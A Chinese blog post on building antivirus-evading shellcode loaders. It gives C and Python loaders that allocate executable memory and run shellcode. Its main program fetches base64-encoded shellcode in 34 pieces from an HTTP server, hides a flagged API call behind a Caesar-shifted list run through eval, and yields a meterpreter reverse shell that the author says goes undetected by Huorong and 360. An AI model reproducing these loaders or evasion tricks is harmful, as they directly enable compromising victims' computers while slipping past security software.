关于凯撒密码加密特征值,base64加密shellcode并分离绕过杀软

什么是shellcode?

在黑客攻击中,shellcode是一小段代码,用于利用软件漏洞作为有效载荷。它之所以被称为“shellcode”,是因为它通常启动一个命令shell,攻击者可以从这个命令shell控制受损的计算机,但是执行类似任务的任何代码都可以被称为shellcode。因为有效载荷(payload)的功能不仅限于生成shell,所以有些人认为shellcode的名称是不够严谨的。然而,试图取代这一术语的努力并没有得到广泛的接受。shellcode通常是用机器码编写的。

C/C++加载方式

#include "stdafx.h"
#include "windows.h"
using namespace std;
int main(int argc, char **argv){   
         unsigned char buf[] =        "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"        "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"        "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"        "\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"        "\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"        "\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"        "\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"        "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"        "\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"        "\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"        "\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x68\xa6\x95\xbd\x9d\xff\xd5"        "\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"        "\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";    
 void *exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);    memcpy(exec, buf, sizeof buf);    
 ((void(*)())exec)();   
  return 0;
  }

Python的方式


#!/usr/bin/python
import ctypes  
shellcode=bytearray("\xfc\xe8\x89\x00\x00\x00\x60\x89......")  
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),                                          ctypes.c_int(len(shellcode)),                                          ctypes.c_int(0x3000),                                          ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),                                    
 buf,                                     ctypes.c_int(len(shellcode)))  
 ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),                                         ctypes.c_int(0),                                         ctypes.c_int(ptr),                                         ctypes.c_int(0),                                         ctypes.c_int(0),                                         ctypes.pointer(ctypes.c_int(0))) ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))

怎么样才能实现免杀?

1.shellcode不写死在纯页面上
2.shellcode多种编码方式混淆
3.shellcode对他进行一个加密
4.添加花指令扰乱AV分析
5.对特定的杀软收集的特征码进行绕过

接下来我们进入正题


kali生成一段shellcode

用python对我们的shellcode进行base64加密

然后我会对shellcode分成34个块,使用python的import requests 发送GET请求用于获取我们存储在apache2服务器上的shellcode(不写死在页面上)


在编写的木马shellcode程序中,如果你使用的是ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),buf,ctypes.c_int(len(shellcode))),其中API函数RtlMoveMemory已经被火绒记录了这个特征值。即使shellcode被base 64加密

不过360是可以免杀的

火绒表示:
RtlMoveMemory只要有这个特征值亲爹我都不认

接下来就是我们凯撒密码起作用的时候了

什么是凯撒密码?

凯撒加密就是通过将字母移动一定的位数来实现加密和解密。明文中的所有字母都在字母表上向后(或向前)按照一个固定数目进行偏移,被替换成密文。例如,当偏移量是2的时候,所有的字母B将被替换成D,C变成E,以此类推Y将变成A,Z变成B。由此可见,偏移量就是凯撒密码加密和解密的密钥


对火绒收集的特征值进行凯撒加密

对应的是字符串的ASCII,加上偏移量k得到的噢

这是凯撒解密

执行效果得到还原的字符串

使用eval加载我们凯撒解密得到还原的shellcode进内存

kali开启监听

python执行

被攻击主机反弹meterpreter,在这过程已完成了,并且没有任何的报毒,shellcode经过base 64加密存储在我们的服务器,加载进来的时候进行解密,实现shellcode的分离,然后对我们木马的特征值进行一个凯撒加密,eval的时候再进行凯撒解密,申请内存并加载进内存

凯撒加密和解密的程序如上面的图片,完整主程序如下:

# -*- coding:utf-8 -*-
from ctypes import *
import ctypes
import sys, os, time, base64
import string
import requests
# shellcode字符串经过base64编码分成34块,存放在某个服务器上# get请求方式得到经过编码的shellcode字符串
res1 = requests.get("http://192.168.2.100/res1.txt")
res2=requests.get("http://192.168.2.100/res2.txt")
res3 = requests.get("http://192.168.2.100/res3.txt")
res4 = requests.get("http://192.168.2.100/res4.txt")
res5 = requests.get("http://192.168.2.100/res5.txt")
res6 = requests.get("http://192.168.2.100/res6.txt")
res7 = requests.get("http://192.168.2.100/res7.txt")
res8 = requests.get("http://192.168.2.100/res8.txt")
res9 = requests.get("http://192.168.2.100/res9.txt")
res10 = requests.get("http://192.168.2.100/res10.txt")
res11 = requests.get("http://192.168.2.100/res11.txt")
res12 = requests.get("http://192.168.2.100/res12.txt")
res13 = requests.get("http://192.168.2.100/res13.txt")
res14 = requests.get("http://192.168.2.100/res14.txt")
res15 = requests.get("http://192.168.2.100/res15.txt")
res16 = requests.get("http://192.168.2.100/res16.txt")
res17 = requests.get("http://192.168.2.100/res17.txt")
res18 = requests.get("http://192.168.2.100/res18.txt")
res19 = requests.get("http://192.168.2.100/res19.txt")
res20 = requests.get("http://192.168.2.100/res20.txt")
res21 = requests.get("http://192.168.2.100/res21.txt")
res22 = requests.get("http://192.168.2.100/res22.txt")
res23 = requests.get("http://192.168.2.100/res23.txt")
res24 = requests.get("http://192.168.2.100/res24.txt")
res25 = requests.get("http://192.168.2.100/res25.txt")
res26 = requests.get("http://192.168.2.100/res26.txt")
res27 = requests.get("http://192.168.2.100/res27.txt")
res28 = requests.get("http://192.168.2.100/res28.txt")
res29 = requests.get("http://192.168.2.100/res29.txt")
res30 = requests.get("http://192.168.2.100/res30.txt")
res31 = requests.get("http://192.168.2.100/res31.txt")
res32 = requests.get("http://192.168.2.100/res32.txt")
res33 = requests.get("http://192.168.2.100/res33.txt")
res34 = requests.get("http://192.168.2.100/res34.txt")
def main():
       shellcode = base64.b64decode(res1.text + res2.text + res3.text + res4.text + res5.text + res6.text + res7.text + res8.text + res9.text + res10.text + res11.text + res12.text + res13.text + res14.text + res15.text + res16.text + res17.text + res18.text + res19.text + res20.text + res21.text + res22.text + res23.text + res24.text + res25.text + res26.text + res27.text + res28.text + res29.text + res30.text + res31.text + res32.text + res33.text + res34.text)
       kill = bytearray(shellcode)
       ptr=   ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),                                      ctypes.c_int(len(kill)),                              ctypes.c_int(0x3000),                                      ctypes.c_int(0x40))
       buf = (ctypes.c_char        *len(kill)).from_buffer(kill)
       flag = [105, 122, 127, 118, 107, 121, 52, 125, 111, 116, 106, 114, 114, 52, 113, 107, 120, 116, 107, 114, 57, 56, 52, 88, 122, 114, 83, 117, 124, 107, 83, 107, 115, 117, 120, 127, 46, 105, 122, 127, 118, 107, 121, 52, 105, 101, 123, 111, 116, 122, 60, 58, 46, 118, 122, 120, 47, 50, 38, 104, 123, 108, 50, 38, 105, 122, 127, 118, 107, 121, 52, 105, 101, 111, 116, 122, 46, 114, 107, 116, 46, 113, 111, 114, 114, 47, 47, 47]
       flag1 = ''
       for i in flag:
                flag1 += chr((i) - 6)
        eval(flag1)
        
      ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),                               ctypes.c_int(0),
                                     ctypes.c_int(ptr),                       ctypes.c_int(0),                                     ctypes.c_int(0),                                     ctypes.pointer(ctypes.c_int(0)))
               
if __name__ == '__main__':
         main()
  • 2
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值